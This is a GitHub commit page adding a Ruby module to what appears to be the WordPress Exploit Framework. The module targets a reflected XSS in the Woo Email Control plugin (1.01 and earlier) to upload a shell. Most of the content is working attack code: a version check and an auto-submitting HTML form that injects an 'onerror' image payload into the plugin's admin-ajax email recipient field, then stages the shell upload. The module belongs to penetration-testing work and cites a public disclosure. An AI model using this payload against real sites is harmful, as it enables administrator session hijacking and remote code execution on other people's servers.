Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit cbba896

Browse files
authored
Merge pull request #18 from rastating/development
Add Woo Email Control reflected XSS module
2 parents 15929c5 + 182c822 commit cbba896

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::WooEmailControlReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Woo Email Control <= 1.01 Reflected XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
11+
],
12+
references: [
13+
['URL', 'http://blog.rastating.com/woo-email-control-1-01-reflected-xss-disclosure']
14+
],
15+
date: 'Jul 18 2016'
16+
)
17+
end
18+
19+
def check
20+
check_plugin_version_from_changelog('woo-email-control', 'readme.txt', '1.02')
21+
end
22+
23+
def vulnerable_url
24+
wordpress_url_admin_ajax
25+
end
26+
27+
def initial_script
28+
%|<html><head></head><body><script>
29+
#{js_post}
30+
post('#{vulnerable_url}', {
31+
action: 'wooctrl_send_test_email',
32+
email_class: 'WC_Email_Customer_New_Account',
33+
recipient: '#{Utility::Text.rand_email}<img src=x onerror=#{xss_ascii_encoded_include_script}>'
34+
});
35+
</script></body></html>
36+
|
37+
end
38+
end

0 commit comments

Comments
 (0)